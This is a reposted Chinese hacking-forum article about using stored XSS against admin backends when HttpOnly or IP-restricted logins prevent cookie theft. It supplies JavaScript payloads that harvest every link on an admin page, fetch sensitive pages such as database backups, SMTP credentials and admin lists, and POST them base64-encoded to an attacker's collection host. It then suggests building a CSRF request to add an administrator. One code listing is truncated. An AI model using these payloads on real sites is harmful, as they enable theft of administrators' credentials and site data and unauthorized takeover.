最新消息:

【研究】当XSS遇到后台限制登录或者HTTPONLY时,还能做什么?

js代码 admin 3465浏览 0评论

本帖最后由 haxsscker 于 2013-5-31 12:06 编辑

##########################################
#  Title: 当XSS遇到后台限制登录或者HTTPONLY时,还能做什么?
#  Time:2013.5.31
#  Team: c0deplay
#  Author: haxsscker
#  首发: 法客论坛
#######################################  

0x01 前言
        XSS确实是个好东西,往往能在我们没有头绪的时候带来一丝曙光,宛如拿站途中的一轮明月,又如饥饿时的一块小曲奇(cookie)~
然而,我们却时常遇到形如限制登录,HTTPONLY等拦路虎,这时,很多机油可能觉得XSS就没什么用了。
如下:

114010qd97znttw3wzwdq8
114014yicqve2fyfcciffy

0x02 XSS用途探索

其实即使如此,XSS还是能帮助我们得到不少信息。甚至管理员的密码!
如何获取呢?方法有两种:
1.获取当前页面的所有URL
2.获取当前页面的代码

这个用途,撸主最开始想到的是用来对付WEBSHELL箱子的。是的,我们知道,登录一个箱子后台之后,基本上是拿不下shell的,我们要的主要是数据

例如,当时有这么一个webshell站点,马场主发现被人XSS之后,限制了ip登陆,即使得到了cookie也登不进去
114344zq1mazu3h8uv0f39
11434493ilw5j5zpc5slyl

这时候,我们就可以通过XSS获取页面的内容,直接得到所有webshell(当然要写一个循环)。

0x03  XSS用途探索——获取URL
不能光说不练不是,我们使用如下的js代码即可获取当前页面的所有URL:

function createXMLHttpRequest()
{
	var xmlhttp;
	if (window.XMLHttpRequest)
	{
		// code for IE7+, Firefox, Chrome, Opera, Safari
		xmlhttp=new XMLHttpRequest();
	}
	else
	{
		// code for IE6, IE5
		xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
	}
	return xmlhttp;
}

function submitForm()
{
	var xmlHttp=createXMLHttpRequest();
	a = document.getElementsByTagName("A");
	var b = "";
	for(var i=0;i

为什么不用get?答:因为get有长度限制

例如,我们在某个后台插入了自己的js:
115007w77wmstw85za5m6g

等管理员看的时候,就得到了所有的url,我们可以在下图看到,后台往往有一些链接地址,都是各种管理的:
115117llltatyjv0mcggla

之后我们需要辗转多次,来搜集一些敏感的链接,例如数据库备份,SMTP设置,管理员列表之类的

这些页面的作用:
1.数据库备份:没准能看到数据库或者备份的路径
2.SMTP设置:管理员邮箱,密码
3.管理员列表:有时候管理员密码会显示在此,即使不在,没准可以CSRF添加一个管理员

 

0x04 XSS用途探索——获取指定URL页面代码
得到了敏感路径之后呢,我们就可以利用如下的JS来获取特定的页面(当然,上一步在当前页面搜集不齐URL的时候,也可以使用这个JS到别的页面搜集)
关键代码如下:

function submitForm() {
        var xmlHttp = createXmlHttp();
    var htmlcode = getHtmlCode('http://xxxx.com/admin/asked/admin_data.asp?action=BackupData');
    var html = encode64(htmlcode);
        postDATA = "msg="+html;
        url="http://aaaa.com/savePage.php";
        xmlHttp.open("POST", url, true);
        xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
        xmlHttp.send(postDATA);
}
window.onload = function(){
    submitForm();
}

为什么要base64?答:现将网页escape,然后再用base64传送,即能解决传送时候一些特殊编码问题,又能解决中文乱码问题

我们得到内容的将会如下图:

115309srslsnwjqza5flne

然后我们先用base64解码,再unescape:
JS代码如下:

function decode64(input) {
      var output = "";
      var chr1, chr2, chr3 = "";
      var enc1, enc2, enc3, enc4 = "";
      var i = 0;
      // remove all characters that are not A-Z, a-z, 0-9, +, /, or =
      var base64test = /[^A-Za-z0-9\+\/\=]/g;
      if (base64test.exec(input)) {
         alert("There were invalid base64 characters in the input text.\n" +
               "Valid base64 characters are A-Z, a-z, 0-9, '+', '/', and '='\n" +
               "Expect errors in decoding.");
      }
      input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
      do {
         enc1 = keyStr.indexOf(input.charAt(i++));
         enc2 = keyStr.indexOf(input.charAt(i++));
         enc3 = keyStr.indexOf(input.charAt(i++));
         enc4 = keyStr.indexOf(input.charAt(i++));
         chr1 = (enc1 << 2) | (enc2 >> 4);
         chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
         chr3 = ((enc3 & 3) << 6) | enc4;
         output = output + String.fromCharCode(chr1);
         if (enc3 != 64) {
            output = output + String.fromCharCode(chr2);
         }
         if (enc4 != 64) {
            output = output + String.fromCharCode(chr3);
         }
         chr1 = chr2 = chr3 = "";
         enc1 = enc2 = enc3 = enc4 = "";
      } while (i < input.length);
      return unescape(output);
   }

115410h6daedv7hajiux7h

最终能得到网页源代码,其中包含着敏感信息:
1154118ofuuc8xuddx0zuc

同样,我们也可以得到添加管理员的页面的代码:
115413znxmkapmto9mtkz9

然后可以构造一个CSRF了,至于怎么构造,可以看撸主另一篇文章:./thread-9322-1-1.html

0x05 总结
即使cookie不能用,也不要小看xss的威力,撸主标题注明了,这是一篇“研究”文,意在抛砖引玉,广开大家思路,如有其他好思路可以给撸主留言,好机油一起讨论~~

另外,这写个模块,撸主已经加到了自己用的XSS平台里~~效果图来一张:
115733kkbb7hmbvwhwbppj

是不是比之前撸主没有CSS的页面好看多了~~? 感谢Yaseng机油做的平台~~

转载请注明:jinglingshu的博客 » 【研究】当XSS遇到后台限制登录或者HTTPONLY时,还能做什么?

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. 师兄发的文章的代码是不完整的,导致在xsser中不能达到想要的效果。上面我已经修改了,可以在xsser.me中直接添加使用了。
    admin12年前 (2013-06-14)回复